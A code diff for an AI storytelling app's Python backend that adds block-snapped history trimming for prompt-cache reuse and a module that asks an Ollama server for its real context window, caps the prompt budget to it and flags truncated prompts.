+    Taking whatever fits is what the builder did, and it is correct. It is also
+    the reason a long campaign costs a full prompt re-read every turn.
+
+    Inference servers cache the prompt they have already processed, keyed on the
+    **prefix**. While the story only grows at the end, each turn re-uses that
+    cache and pays for its own new tokens alone. As soon as the budget is full,
+    "whatever fits" drops the *oldest* action every turn — a change near the
+    front of the prompt — and everything after it has to be processed again.
+
+    So the floor is snapped forward to a multiple of `block` and then held. It
+    moves in steps: several cheap turns that re-use the cache, then one turn that
+    pays to re-read, rather than every turn paying. The cost is history depth —
+    right after a step the window holds up to `block` actions fewer than the
+    budget would allow, which is what `TRIM_FRACTION` bounds.
+
+    Measured against the reference deployment, on prompts this builder produced,
+    at an 8,192 budget where `block` is 3:
+
+        floor held, story grew by one action      14-20 s
+        floor stepped, prompt re-read            333-338 s
+        mean over two whole cycles               124.0 s
+        floor disabled, every turn re-read       362.4 s   (361, 361, 365, 361)
+
+    2.9x, and the shape is the point rather than the ratio: the saving grows with
+    `block`, which grows with the budget, so the configuration that hurt most
+    before benefits most now.
+
+    Returns None when nothing needs trimming, which covers two cases that must
+    both stay as they were: a story short enough to fit whole (the window is a
+    growing prefix already, and snapping would drop its opening for no reason),
+    and an action so large that not even the newest one fits, which the caller
+    truncates.
+    """
+    if not depths or any(depth is None for depth in depths):
+        # Legacy rows, or a path this cannot place on the tree. Trimming needs a
+        # stable coordinate; without one, behave exactly as before.
+        return None
+
+    spent = 0
+    oldest_fitting: int | None = None
+    for depth, cost in zip(reversed(depths), reversed(costs)):
+        if spent + cost > budget:
+            break
+        spent += cost
+        oldest_fitting = depth
+    if oldest_fitting is None:
+        return None
+    if oldest_fitting == depths[0]:
+        # Everything offered fits. There is nothing to drop, and snapping here
+        # would throw away the start of a short story to no purpose.
+        return None
+
+    block = max(1, block)
+    return -(-oldest_fitting // block) * block
+
+
 def _visible_npcs(actions: list[models.Action], stat_schema: dict) -> dict[str, str]:
     """Returns the NPCs whose trigger words appear in the recent story.
 
@@ -291,6 +453,7 @@ def build_context(
     memory_bank: dict | None = None,
     exclude_action_id: int | None = None,
     knowledge: knowledge_records.Result | None = None,
+    window: contextwindow.Window | None = None,
 ) -> tuple[str, str, dict]:
     """Returns (system_text, story_text, context_report). `memory_bank` is the
     result of memorybank.retrieve_memories (None when the bank is off);
@@ -302,7 +465,22 @@ def build_context(
     embedding call, this function is synchronous, and a prompt builder that can
     make network requests is a prompt builder that can fail halfway through a
     prompt. None means the campaign has no library, or the caller did not ask.
+
+    M11: `window` is what the inference server was found to actually accept
+    (`contextwindow.probe`), and it arrives the same way and for the same
+    reason — asking the server is a network call and this function does not make
+    those. A **verified** window is a ceiling on the configured budget, which is
+    the whole of M11's no-silent-overflow invariant: the prompt this returns
+    cannot be longer than what the runtime will read, so `llama.cpp` never gets
+    the chance to drop the system block off the front. `None` means nobody
+    checked, and then the configured budget stands and the report says it was
+    not verified.
     """
+    # M11: the budget every section below is priced against. Capped by what the
+    # server was verified to accept; the configured value when nothing was
+    # verified, or when the reader has asked for something smaller.
+    budget = contextwindow.effective_budget(settings.context_token_budget, window)
+
     script_mem = _script_memory(adventure)
     # M7: priced before anything else, because the answer changes what is left.
     # `plan` prices only the protected half — the untrusted-data rule and any
@@ -310,7 +488,7 @@ def build_context(
     knowledge_plan = knowledge_inject.plan(
         knowledge if knowledge is not None else knowledge_records.Result(),
         count_tokens,
-        settings.context_token_budget,
+        budget,
     )
 
     # ----- The static block, which is identical on every turn -----
@@ -431,7 +609,7 @@ def build_context(
     if isinstance(script_mem.get("frontMemory"), str):
         front_memory = script_mem["frontMemory"].strip()
 
-    length_note = length_hint(settings.max_output_tokens)
+    length_note = length_hint(settings.max_output_tokens, adventure.narration_length)
 
     # The live sections sit below the history, but they are still part of the
     # prompt, so they still count against the budget. `world_lore` is the
@@ -459,25 +637,40 @@ def build_context(
     # truncated turn on a model whose window is the budget
     # (`CONTEXT-AND-MEMORY.md` §32, acceptance test F04).
     #
-    # The margin covers what is added after this arithmetic — the separators
-    # between sections, and the difference between our tokenizer's count and the
-    # serving model's. It is small and fixed rather than proportional, because
-    # what it absorbs does not scale with the budget.
-    output_reserve = max(0, settings.max_output_tokens) + OUTPUT_SAFETY_MARGIN
-    protected = reserved + output_reserve
-    if protected >= settings.context_token_budget:
+    # v1.1 WP-A1: the reply allocation is exactly the reply cap. The text this
+    # application adds after pricing — separators, and the chat hint the
+    # provider appends — is counted as `transport`. What neither can know, the
+    # narrator's tokenizer disagreeing with `cl100k_base`, is the safety reserve,
+    # which is sized to the window and taken before any history is chosen.
+    output_reserve = max(0, settings.max_output_tokens)
+    separator_tokens = count_tokens(SEPARATOR)
+    transport = (
+        separator_tokens * (len(system_sections) + STORY_SECTION_SLOTS)
+        + count_tokens(CHAT_CONTINUE_HINT)
+    )
+    safety = contextwindow.safety_reserve(budget)
+    protected = reserved + transport + output_reserve + safety
+    if protected >= budget:
         # Failing here is the point. The alternative — carrying on with a token
         # or two of history — builds a prompt that is known to overflow, and
         # the reader gets a truncated reply with no explanation. §32: "fail
         # gracefully if protected context alone is too large."
         raise ContextOverflow(
             f"The protected context needs {protected} tokens "
-            f"({reserved} of prompt plus {output_reserve} reserved for the "
-            f"reply) but the context budget is {settings.context_token_budget}. "
-            "Raise the context budget, lower the maximum reply length, or "
-            "shorten the campaign's canon, instructions and persona."
+            f"({reserved} of prompt, {transport} of formatting, {output_reserve} "
+            f"reserved for the reply and a {safety}-token safety margin) but the "
+            f"context budget is {budget}. "
+            + (
+                "That budget is what this server was found to accept, so raising "
+                "the setting alone will not help — load the model with a larger "
+                "window. Or lower the maximum reply length, or shorten the "
+                "campaign's canon, instructions and persona."
+                if budget < settings.context_token_budget else
+                "Raise the context budget, lower the maximum reply length, or "
+                "shorten the campaign's canon, instructions and persona."
+            )
         )
-    available = settings.context_token_budget - protected
+    available = budget - protected
 
     # ----- M7: retrieved imported knowledge, out of a share of `available` -----
     #
@@ -554,10 +747,31 @@ def build_context(
 
     # ----- Story history: newest first until the remaining budget is spent -----
     history_budget = available_after_knowledge - used
+
+    # Where the window starts, snapped to a block so it holds still for several
+    # turns instead of sliding by one action every turn. `history_floor` says
+    # why that matters and what it costs. None means trim nothing, and then
+    # everything below is exactly what it was before.
+    costs = [count_tokens(_history_text(a)) + count_tokens(SEPARATOR)
+             for a in actions]
+    block = trim_block(history_budget, settings.max_output_tokens)
+    floor_depth = history_floor([a.depth for a in actions], costs,
+                                history_budget, block)
+    windowed = actions
+    if floor_depth is not None:
+        kept = [a for a in actions if a.depth is not None and a.depth >= floor_depth]
+        # A floor that leaves nothing is a floor worth ignoring: the loop below
+        # still has to produce a turn, and its own truncation path is the honest
+        # way to handle a single action larger than the whole budget.
+        if kept:
+            windowed = kept
+        else:
+            floor_depth = None
+
     included_actions: list[models.Action] = []
     spent = 0
     oldest_truncated = False
-    for action in reversed(actions):
+    for action in reversed(windowed):
         # Budget against the text as it appears in the prompt, which includes
         # the state block when this adventure tracks world state.
         rendered = _history_text(action)
@@ -633,6 +847,7 @@ def build_context(
     story_text = SEPARATOR.join(s.text for s in story_sections)
 
     all_sections = [s for s in system_sections if s.text] + story_sections
+    total_tokens = count_tokens(system_text) + count_tokens(story_text)
     report = {
         "sections": [
             {"label": s.label, "text": s.text, "tokens": s.tokens} for s in all_sections
@@ -643,12 +858,44 @@ def build_context(
         # what the history was actually allowed to spend after everything
         # protected was subtracted.
         "tokens": {
-            "total": count_tokens(system_text) + count_tokens(story_text),
-            "budget": settings.context_token_budget,
+            "total": total_tokens,
+            "budget": budget,
+            "configured_budget": settings.context_token_budget,
             "output_reserve": output_reserve,
             "protected": reserved,
             "available_for_history": available,
             "history_spent": spent,
+            # v1.1 WP-A1. `transport` is the formatting priced in above;
+            # `estimate` is what this application believes it actually sent,
+            # the assembled text plus what the provider adds to it, and is what
+            # the server's own count is compared against after the reply.
+            "transport": transport,
+            "safety_reserve": safety,
+            "estimate": total_tokens + (
+                count_tokens(CHAT_CONTINUE_HINT) if settings.api_mode != "completion"
+                else separator_tokens
+            ),
+        },
+        # M11: what the server was found to accept, and how. `verified` false
+        # means nobody could check — the prompt was built to the configured
+        # budget and may be larger than the runtime will read. This travels in
+        # the stored snapshot, so a turn taken against an unverified window is
+        # identifiable afterwards rather than indistinguishable from a safe one.
+        "window": {
+            "verified": (window.verified if window is not None else False),
+            "tokens": (window.tokens if window is not None else None),
+            "source": (window.source if window is not None else contextwindow.UNKNOWN),
+            "model_max": (window.model_max if window is not None else None),
+            "detail": (window.detail if window is not None else "not checked"),
+            # `enforceable`, not `verified`: an operator-declared window caps
+            # the prompt exactly as a server-reported one does, and a turn built
+            # against it *was* capped. `verified` and `source` above still say
+            # which kind of answer produced the number.
+            "capped": (
+                window is not None
+                and window.enforceable
+                and window.tokens < settings.context_token_budget
+            ),
         },
         "cards": card_records,
         "memories": memory_bank,
@@ -678,6 +925,13 @@ def build_context(
             # included, so this number must be the real total.
             "total": history.count(adventure, exclude_action_id),
             "oldest_truncated": oldest_truncated,
+            # Where the window was cut, and how big a step it takes when it
+            # moves. Both are in `depth` units. `floor_depth` is null while the
+            # story still fits whole, which is also while every turn is a pure
+            # prefix extension of the last one. A reader comparing two turns can
+            # tell from these whether the prompt's prefix was preserved.
+            "floor_depth": floor_depth,
+            "trim_block": block,
         },
         "settings": {
             "model": settings.model,

backend/app/contextwindow.py

@@ -0,0 +1,536 @@
+"""M11: what the inference server will *actually* accept, as opposed to what we budgeted.
+
+M8 found the failure this module exists to prevent. The application budgets a
+prompt up to `Settings.context_token_budget` — 16,384 by default — while Ollama
+enforces a window of its own, and on a machine with no VRAM that window defaults
+to **4,096**. The request still returns HTTP 200. Nothing warns anybody. What
+actually happens is worse than an error: `llama.cpp` drops the **oldest** tokens,
+and the oldest tokens in this application are the system block — the narrator
+rules and the campaign canon. The symptom is a narrator that forgets canon deep
+into a long session, with nothing on screen explaining why, and every acceptance
+test that reads a returned 200 as success passing throughout.
+
+The invariant M11 requires:
+
+    The application must not silently budget more narrator input
+    than the configured Ollama runtime will actually accept.
+
+Note the word *silently*. There are two honest outcomes and this module produces
+both: either the window is **verified**, in which case the budget is capped to it
+so the prompt physically cannot overflow; or it is **unverified**, in which case
+the assembly says so, in the context report, on the connection test, and in the
+turn's stored provenance. What must not happen is the third thing — assembling
+16,384 tokens against a 4,096-token server and calling the result a turn.
+
+## Why this is not solved by sending `num_ctx`
+
+It was tried, and it is documented in `DEVELOPMENT.md`. Ollama's
+OpenAI-compatible endpoint accepts `num_ctx` — nested in `options` or at the top
+level — returns 200, and ignores it. Worse, it reloads the model at its own
+default, so priming the server through the native API first does not help
+either: the next request resets the window. The window is a property of how the
+model is loaded, not of the request, so the only things that change it are a
+model with `num_ctx` baked in (`/api/create`) or `OLLAMA_CONTEXT_LENGTH` on the
+server. Both are operator actions. This module's job is not to change the
+window; it is to find out what it is and refuse to lie about it.
+
+## How the window is found
+
+Ollama's native API sits beside the OpenAI-compatible one on the same host, so
+this asks the server the application is already talking to, and nothing else. No
+new destination, the same endpoint policy, the same TLS trust store.
+
+    /api/ps    a loaded model reports `context_length`: the window the runtime
+               is enforcing *right now*. This is the truth when it is available.
+    /api/show  an unloaded model may carry `num_ctx` in its baked parameters,
+               which is the window it will load with; `model_info` carries the
+               architecture's own ceiling, which caps everything else.
+
+`/api/ps` is asked first because a model that is loaded has already settled the
+question. `/api/show` answers it for a model that is not loaded yet, which is the
+ordinary case at the start of a session.
+
+## What it deliberately does not do
+
+It does not hard-code 4,096, which would cripple a correctly configured
+deployment; it does not raise the budget, which is the operator's decision; it
+does not fall back to a cloud probe, a bundled table of model sizes, or a guess
+from the model's name. An unknown window is reported as unknown.
+
+## The server that cannot be asked
+
+Discovery above is Ollama's native API. Nothing restricts `endpoint_url` to
+Ollama — any allowed address serving an OpenAI-compatible `/v1` is accepted —
+and on vLLM, llama.cpp's own server, or anything else, `/api/ps` and `/api/show`
+are simply not there. Discovery then fails exactly as designed and the window is
+reported unknown, which is honest but leaves the invariant at the top of this
+file unenforced: the budget stands at whatever is configured, and if that server
+enforces a smaller window it drops the oldest tokens again.
+
+`context_window_override` is the operator's answer to that. It is a number the
+operator states because they know how the server was launched, and it is used
+**only when the server could not be asked**:
+
+    verified window     -> always wins; a declaration cannot raise it
+    no verified window  -> the declaration becomes the ceiling, source DECLARED
+    neither             -> unknown, exactly as before
+
+This does not weaken what `verified` claims. `verified` still means the server
+itself answered, so `window_verified` in a turn's provenance keeps the meaning
+the M11 report gives it, and a declared window is identifiable as a declaration
+wherever it appears. What the declaration buys is enforcement: the prompt is
+capped, so the failure mode is a shorter prompt rather than a silently truncated
+one.
+"""
+
+from __future__ import annotations
+
+import logging
+import math
+import re
+import time
+from dataclasses import dataclass
+
+import httpx
+
+from . import endpoints, tlstrust
+
+log = logging.getLogger(__name__)
+
+#: Short, because this sits in the turn path. A server that does not answer in
+#: two seconds has told us what we need to know: we cannot verify the window
+#: right now, and the turn should proceed unverified rather than stall.
+PROBE_TIMEOUT = 2.0
+CONNECT_TIMEOUT = 1.5
+
+#: A verified window is stable — it changes when an operator reloads a model —
+#: so it is worth keeping. A failure is cached too, and for much less time,
+#: because the commonest cause is a server that is starting up.
+POSITIVE_TTL = 600.0
+NEGATIVE_TTL = 60.0
+
+#: Sources, in the order of how much they prove.
+LOADED = "loaded"        # /api/ps: what the runtime is enforcing now
+PARAMETERS = "parameters"  # /api/show: what the model will load with
+DECLARED = "declared"    # the operator said so; the server could not be asked
+UNKNOWN = "unknown"
+
+#: Sources that mean *the server answered*, as opposed to somebody asserting.
+FROM_SERVER = (LOADED, PARAMETERS)
+
+
+@dataclass(frozen=True)
+class Window:
+    """What was learned about the server's input window, and how."""
+
+    #: The total context in tokens — input *and* output share it — or None when
+    #: it could not be determined.
+    tokens: int | None
+    #: One of LOADED, PARAMETERS, UNKNOWN.
+    source: str
+    #: The architecture's own ceiling, when the server reported one. Useful to a
+    #: reader deciding whether raising the window is even possible.
+    model_max: int | None = None
+    #: Why the window is unknown, or how it was found. Shown to the user.
+    detail: str = ""
+    #: v1.1: the server answered a discovery request at all, whatever it said.
+    #: A server that answered but could not report a window may simply not have
+    #: the model loaded yet, which `ensure_window` can fix; one that did not
+    #: answer cannot be helped by asking it to load anything.
+    reachable: bool = False
+
+    @property
+    def verified(self) -> bool:
+        """The **server** answered. An operator's declaration is not this.
+
+        Kept narrow on purpose. `window_verified` travels in every turn's stored
+        provenance and the M11 report counts on it meaning one thing: that the
+        runtime was asked and replied. A declaration is a person's claim about a
+        server, which is worth acting on and is not the same evidence.
+        """
+        return self.tokens is not None and self.source in FROM_SERVER
+
+    @property
+    def enforceable(self) -> bool:
+        """There is a number to cap the prompt to, whoever supplied it."""
+        return self.tokens is not None
+
+
+UNVERIFIED = Window(tokens=None, source=UNKNOWN, detail="not checked")
+
+_cache: dict[tuple[str, str], tuple[float, Window]] = {}
+
+
+def native_base(endpoint_url: str) -> str:
+    """The Ollama-native base beside an OpenAI-compatible endpoint.
+
+    `https://host:1234/v1` -> `https://host:1234`. Anything else is used as
+    given, because an endpoint that is not shaped like Ollama's is one this
+    cannot interrogate and should not guess about.
+    """
+    trimmed = (endpoint_url or "").rstrip("/")
+    return re.sub(r"/v1$", "", trimmed)
+
+
+def effective_budget(configured: int, window: Window | int | None) -> int:
+    """The budget the prompt may actually use.
+
+    The whole enforcement, in one line: a known window is a ceiling — whether
+    the server reported it or the operator declared it. The configured budget
+    still wins when it is *smaller*, because a reader who has deliberately asked
+    for a shorter prompt should get one.
+    """
+    tokens = window.tokens if isinstance(window, Window) else window
+    if tokens is None or tokens <= 0:
+        return configured
+    return min(configured, tokens)
+
+
+#: v1.1 WP-A1: the tokens kept free below the effective window, beyond the reply.
+#:
+#: The builder counts with `cl100k_base`; the narrator counts with its own
+#: tokenizer. The v1 evidence put the largest prompts 23-42 real tokens from the
+#: edge of a 16,384 window, and Ollama does not refuse a prompt past the edge —
+#: measured on Ollama 0.33 at a 4,096 window, a 6,316-token prompt came back 200
+#: with `prompt_tokens` 2,050. So the reserve is deliberate and sized to the
+#: window: the larger of a floor and a share, **rounded up to a whole token**.
+#:
+#:     4,096 -> 256     8,192 -> 410     16,384 -> 820
+#:
+#: A fixed, documented tolerance, owner-chosen for v1.1. It is not a setting and
+#: it is not calibrated per model.
+SAFETY_RESERVE_FLOOR = 256
+SAFETY_RESERVE_PERCENT = 5
+
+
+def safety_reserve(effective_window: int) -> int:
+    """`max(256, ceil(5% of the effective window))`, in tokens.
+
+    The effective window is the budget the prompt is actually built to — the
+    verified or declared window when there is one, the configured budget
+    otherwise — so a 16,384 setting against a 4,096 server reserves 256, not 820.
+    Integer arithmetic, so the rounding is exact rather than a float's.
+    """
+    share = math.ceil(max(0, effective_window) * SAFETY_RESERVE_PERCENT / 100)
+    return max(SAFETY_RESERVE_FLOOR, share)
+
+
+#: v1.1 WP-A1: what the server's own count says about a turn that was sent.
+FITS = "fits"
+EXCEEDED = "exceeded"
+TRUNCATION_SUSPECTED = "truncation_suspected"
+#: `UNKNOWN` above: the server reported no usable count.
+
+
+def classify_usage(usage: dict | None, *, estimate: int, budget: int,
+                   max_output_tokens: int, window_verified: bool) -> dict:
+    """Sets the server's reported prompt count against what the application sent.
+
+    The order of the checks is the order of what they prove:
+
+    ``unknown``
+        No positive integer `prompt_tokens`. Nothing can be said, and nothing
+        is claimed: an absent count is never read as a prompt that fitted.
+    ``truncation_suspected``
+        The server read fewer tokens than were sent by more than the safety
+        reserve. A tokenizer thriftier than `cl100k_base` may honestly count a
+        little less; a shortfall larger than the tolerance the application keeps
+        for drift is the signature of a server that cut the prompt — the real
+        shape was 6,316 sent and 2,050 read.
+    ``exceeded``
+        The server's count plus the reply allocation is more than the window
+        the prompt was built for. The drift was larger than the whole reserve,
+        so the reply may have been cut short.
+    ``fits``
+        Otherwise.
+
+    `observed_margin` is what was left beside the reply by the server's count:
+    `budget - max_output_tokens - server_prompt_tokens`. The safety reserve is
+    the tolerance, so a margin between 0 and the reserve is still `fits`.
+
+    A discrepancy is recorded, never acted on: the reply has already streamed
+    to the reader and is accepted story.
+    """
+    prompt = usage.get("prompt_tokens") if isinstance(usage, dict) else None
+    reserve = safety_reserve(budget)
+    verified_note = "" if window_verified else (
+        " The window itself was not verified for this turn.")
+    record = {
+        "status": UNKNOWN,
+        "server_prompt_tokens": None,
+        "estimate": estimate,
+        "difference": None,
+        "budget": budget,
+        "max_output_tokens": max_output_tokens,
+        "safety_reserve": reserve,
+        "observed_margin": None,
+        "window_verified": bool(window_verified),
+        "detail": "",
+    }
+    if type(prompt) is not int or prompt <= 0:
+        record["detail"] = ("The server reported no prompt token count, so nothing "
+                            "confirms the whole prompt was read." + verified_note)
+        return record
+
+    record["server_prompt_tokens"] = prompt
+    record["difference"] = prompt - estimate
+    record["observed_margin"] = budget - max_output_tokens - prompt
+    if prompt + reserve < estimate:
+        record["status"] = TRUNCATION_SUSPECTED
+        record["detail"] = (
+            f"The server read {prompt:,} prompt tokens of the {estimate:,} sent, a "
+            f"shortfall larger than the {reserve:,}-token safety reserve. A server "
+            "that cuts an over-window prompt reports exactly this, and what it cuts "
+            "is the start: the narrator's rules and the canon." + verified_note)
+    elif prompt + max_output_tokens > budget:
+        record["status"] = EXCEEDED
+        record["detail"] = (
+            f"The server counted {prompt:,} prompt tokens; with {max_output_tokens:,} "
+            f"for the reply that is more than the {budget:,}-token window the prompt "
+            "was built for, so the reply may have been cut short." + verified_note)
+    else:
+        record["status"] = FITS
+        record["detail"] = (
+            f"The server read {prompt:,} prompt tokens, leaving "
+            f"{record['observed_margin']:,} beside the reply." + verified_note)
+    return record
+
+
+def cache_clear() -> None:
+    """Forgets what was learned. Called when the endpoint or model changes."""
+    _cache.clear()
+
+
+async def probe(endpoint_url: str, model: str, *,
+                declared: int | None = None, use_cache: bool = True) -> Window:
+    """What window `model` gets, asked of the server and only then declared.
+
+    Returns `UNVERIFIED` for every discovery failure — refused endpoint,
+    unreachable server, TLS failure, a server with no Ollama-native API, an
+    unparseable answer — unless `declared` supplies a number to fall back on.
+    The caller cannot act differently on those failures and the reader is told
+    the same thing either way: the window could not be checked.
+
+    `declared` is `Settings.context_window_override`. It never overrides a
+    verified answer, so an operator cannot talk the application into a bigger
+    prompt than the runtime will read; it only fills a gap discovery left.
+    """
+    if not endpoint_url or not model:
+        return _declared_or(declared,
+                            Window(None, UNKNOWN,
+                                   detail="no endpoint or model configured"))
+
+    discovered = await _discover(endpoint_url, model, use_cache=use_cache)
+    return _declared_or(declared, discovered)
+
+
+def _declared_or(declared: int | None, discovered: Window) -> Window:
+    """The operator's number, but only where the server left a hole.
+
+    A verified window always wins. That ordering is the whole safety property:
+    a declaration can lower an unknown ceiling into existence, never raise a
+    known one.
+    """
+    if discovered.verified:
+        return discovered
+    if not declared or declared <= 0:
+        return discovered
+    return Window(
+        declared, DECLARED, discovered.model_max,
+        f"{declared:,} tokens, declared in settings — the server was not able "
+        f"to say ({discovered.detail})",
+        reachable=discovered.reachable,
+    )
+
+
+async def _discover(endpoint_url: str, model: str, *,
+                    use_cache: bool = True) -> Window:
+    """The server's own answer, cached. Knows nothing about declarations.
+
+    The cache holds only what was discovered, so changing the declared override
+    takes effect on the next turn without having to clear anything: the
+    declaration is layered on afterwards, in `_declared_or`.
+    """
+    key = (endpoint_url, model)
+    now = time.monotonic()
+    if use_cache:
+        hit = _cache.get(key)
+        if hit is not None and hit[0] > now:
+            return hit[1]
+
+    window = await _ask(endpoint_url, model)
+    ttl = POSITIVE_TTL if window.verified else NEGATIVE_TTL
+    _cache[key] = (now + ttl, window)
+    return window
+
+
+async def _ask(endpoint_url: str, model: str) -> Window:
+    # The same policy the turn itself is held to. A window probe must not be a
+    # way to reach an address inference may not (ADR 011, H12).
+    reason = endpoints.rejection_reason(endpoint_url)
+    if reason is not None:
+        return Window(None, UNKNOWN, detail=f"endpoint not allowed — {reason}")
+
+    base = native_base(endpoint_url)
+    try:
+        async with httpx.AsyncClient(
+            timeout=httpx.Timeout(PROBE_TIMEOUT, connect=CONNECT_TIMEOUT),
+            verify=tlstrust.ssl_context(),
+        ) as client:
+            loaded = await _loaded_window(client, base, model)
+            if loaded is not None:
+                tokens, ceiling = loaded
+                return Window(
+                    tokens, LOADED, ceiling,
+                    f"{tokens:,} tokens, reported by the running model",
+                    reachable=True,
+                )
+            return await _declared_window(client, base, model)
+    except (httpx.HTTPError, ValueError, TypeError, KeyError) as exc:
+        log.debug("context window probe failed for %s: %s", base, exc)
+        return Window(None, UNKNOWN, detail=f"could not ask the server ({type(exc).__name__})")
+
+
+async def _loaded_window(client, base: str, model: str):
+    """`/api/ps`: the window a resident model is actually being served with."""
+    resp = await client.get(f"{base}/api/ps")
+    if resp.status_code != 200:
+        return None
+    for entry in (resp.json() or {}).get("models") or []:
+        if entry.get("name") == model or entry.get("model") == model:
+            tokens = entry.get("context_length")
+            if isinstance(tokens, int) and tokens > 0:
+                return tokens, None
+    return None
+
+
+async def _declared_window(client, base: str, model: str) -> Window:
+    """`/api/show`: what the model will load with, and its architectural cap."""
+    resp = await client.post(f"{base}/api/show", json={"model": model})
+    if resp.status_code != 200:
+        return Window(
+            None, UNKNOWN,
+            detail=f"the server did not describe the model (HTTP {resp.status_code})",
+            reachable=True,
+        )
+    body = resp.json() or {}
+    ceiling = _architecture_ceiling(body.get("model_info") or {})
+    declared = _num_ctx(body.get("parameters"))
+    if declared is None:
+        return Window(
+            None, UNKNOWN, ceiling,
+            detail=(
+                "the model sets no num_ctx, so the server will load it at its own "
+                "default — which is 4,096 where there is no VRAM"
+            ),
+            reachable=True,
+        )
+    tokens = min(declared, ceiling) if ceiling else declared
+    return Window(
+        tokens, PARAMETERS, ceiling,
+        f"{tokens:,} tokens, from the model's own num_ctx",
+        reachable=True,
+    )
+
+
+#: v1.1 WP-A1 corrective: loading the configured model so its window can be read.
+#:
+#: The first real turn of the A1 evidence found a cold model: `/api/ps` knew
+#: nothing, `/api/show` found no `num_ctx`, so the window was unverified and the
+#: prompt was built to the configured 16,384. Ollama loaded the model at its own
+#: 4,096 default, kept 2,050 of 13,875 tokens and answered 200. That case is
+#: preventable, because the window becomes readable the moment the model is
+#: resident. Ollama's native `POST /api/generate` with a model and **no prompt**
+#: loads the model and generates nothing — measured on Ollama 0.33: HTTP 200,
+#: `"response": ""`, `"done_reason": "load"`, and `/api/ps` then reported the
+#: window. The OpenAI-compatible request that followed did not reload it.
+WARM_PATH = "/api/generate"
+
+
+async def warm(endpoint_url: str, model: str, *, timeout: float) -> tuple[bool, str]:
+    """Asks the configured server to load `model`. One request, no story text.
+
+    Held to the same endpoint policy and TLS trust as inference and the probe, and
+    sent to the same host the probe asks. The body names the model and nothing
+    else: no prompt, so nothing is generated, and no `options` or `keep_alive`, so
+    the model loads the way the server would load it for the turn itself.
+
+    Returns `(loaded, detail)`. Every failure is `(False, why)` and never raises:
+    a server that will not load the model on request will fail the turn's own
+    call the ordinary way, which is where that failure belongs.
+    """
+    reason = endpoints.rejection_reason(endpoint_url)
+    if reason is not None:
+        return False, f"endpoint not allowed — {reason}"
+    base = native_base(endpoint_url)
+    try:
+        async with httpx.AsyncClient(
+            timeout=httpx.Timeout(timeout, connect=CONNECT_TIMEOUT),
+            verify=tlstrust.ssl_context(),
+        ) as client:
+            resp = await client.post(f"{base}{WARM_PATH}", json={"model": model})
+    except httpx.HTTPError as exc:
+        log.debug("model warm-up failed for %s: %s", base, exc)
+        return False, f"could not ask the server to load the model ({type(exc).__name__})"
+    if resp.status_code != 200:
+        return False, f"the server did not load the model (HTTP {resp.status_code})"
+    try:
+        body = resp.json() or {}
+    except ValueError:
+        return False, "the server answered the load request with something that was not JSON"
+    return True, f"the server loaded the model ({body.get('done_reason') or 'done'})"
+
+
+async def ensure_window(endpoint_url: str, model: str, *, declared: int | None = None,
+                        warm_timeout: float = 300.0) -> tuple[Window, dict]:
+    """The window for a turn about to be generated, loading the model once if that is what it takes.
+
+    1. Probe as before.
+    2. If the window is not verified, the server answered, and there is a model to
+       load: one bounded `warm` request.
+    3. If the model loaded, probe again, bypassing the cache that still holds the
+       unverified answer.
+
+    Whatever the second probe says is the answer. There is no retry loop, no
+    guessed window, and no hard-coded 4,096: a window still unverified leaves the
+    configured budget standing, exactly as before, and the turn's accounting
+    still catches a server that cut the prompt.
+
+    Returns the window and a `preflight` record for the turn's provenance.
+    Not used by the context dry run: loading a model is a side effect, and
+    opening a panel should not cause one.
+    """
+    window = await probe(endpoint_url, model, declared=declared)
+    preflight = {"attempted": False, "loaded": None, "verified_before": window.verified,
+                 "verified_after": window.verified, "detail": ""}
+    if window.verified:
+        preflight["detail"] = "the window was already verified"
+        return window, preflight
+    if not (endpoint_url and model):
+        preflight["detail"] = "no endpoint or model configured"
+        return window, preflight
+    if not window.reachable:
+        preflight["detail"] = "the server did not answer, so no model was loaded"
+        return window, preflight
+    loaded, detail = await warm(endpoint_url, model, timeout=warm_timeout)
+    preflight.update(attempted=True, loaded=loaded, detail=detail)
+    if loaded:
+        window = await probe(endpoint_url, model, declared=declared, use_cache=False)
+    preflight["verified_after"] = window.verified
+    return window, preflight
+
+
+def _num_ctx(parameters) -> int | None:
+    """Reads `num_ctx` out of the plain-text parameter block Ollama returns."""
+    if not isinstance(parameters, str):
+        return None
+    match = re.search(r"^\s*num_ctx\s+(\d+)\s*$", parameters, re.MULTILINE)
+    return int(match.group(1)) if match else None
+
+
+def _architecture_ceiling(model_info: dict) -> int | None:
+    """`<arch>.context_length` — the largest window this model can have."""
+    for key, value in model_info.items():
+        if key.endswith(".context_length") and isinstance(value, int) and value > 0:
+            return value
+    return None

backend/app/limits.py

@@ -129,6 +129,34 @@ MAX_BODY_BYTES = 2 * 1024 * 1024
 MAX_IMPORT_BODY_BYTES = 20 * 1024 * 1024
 
 
+def import_limit_label(limit: int | None = None) -> str:
+    """The import ceiling as a reader would say it, e.g. "20 MB".
+
+    Derived from the constant rather than written beside it, so the refusal, the
+    export warning and the documentation cannot drift apart from each other or
+    from what the middleware actually enforces (v1.1 WP-D).
+    """
+    size = MAX_IMPORT_BODY_BYTES if limit is None else limit
+    megabytes = size / (1024 * 1024)
+    return f"{megabytes:.0f} MB" if abs(megabytes - round(megabytes)) < 0.05 else f"{megabytes:.1f} MB"
+
+
+def oversized_export_warning(export_bytes: int, limit: int | None = None) -> str:
+    """What to tell a reader whose export is larger than import will accept.
+
+    v1.1 WP-D. The file is written and is not damaged: what it exceeds is this
+    version's import ceiling, so it cannot be brought back in *here*. Saying that
+    plainly is the whole point — the alternative is a reader who finds out when
+    they try to restore it.
+    """
+    size = MAX_IMPORT_BODY_BYTES if limit is None else limit
+    return (
+        f"This export is larger than this version's {import_limit_label(size)} import "
+        f"limit ({export_bytes:,} bytes). The file was exported successfully, but this "
+        f"version cannot import it."
+    )
+
+
 class BodySizeLimitMiddleware:
     """Rejects oversized request bodies by their declared `Content-Length`.
 

backend/app/memorybank.py

@@ -17,9 +17,10 @@ database session. It does three things:
   then evicts the bank down to its capacity. Evicted memories are marked as
   forgotten and kept so that the UI can still show them.
 
-When the app generates a turn, `retrieve_memories` embeds the recent story text
-and ranks the bank by cosine similarity. The highest-ranked memories become the
-Memories section of the context.
+When the app generates a turn, `retrieve_memories` embeds the player's input
+and the current scene, and ranks the bank by a fixed mix of cosine similarity
+and rarity-weighted word overlap with the input (v1.1 WP-B.2). The
+highest-ranked memories become the Memories section of the context.
 
 Every AI call in this module is best-effort. A failure is logged to the debug
 page and retried on a later turn, because the cursors advance only after a call
@@ -28,6 +29,7 @@ succeeds.
 
 import asyncio
 import logging
+import math
 from array import array
 from collections import OrderedDict
 
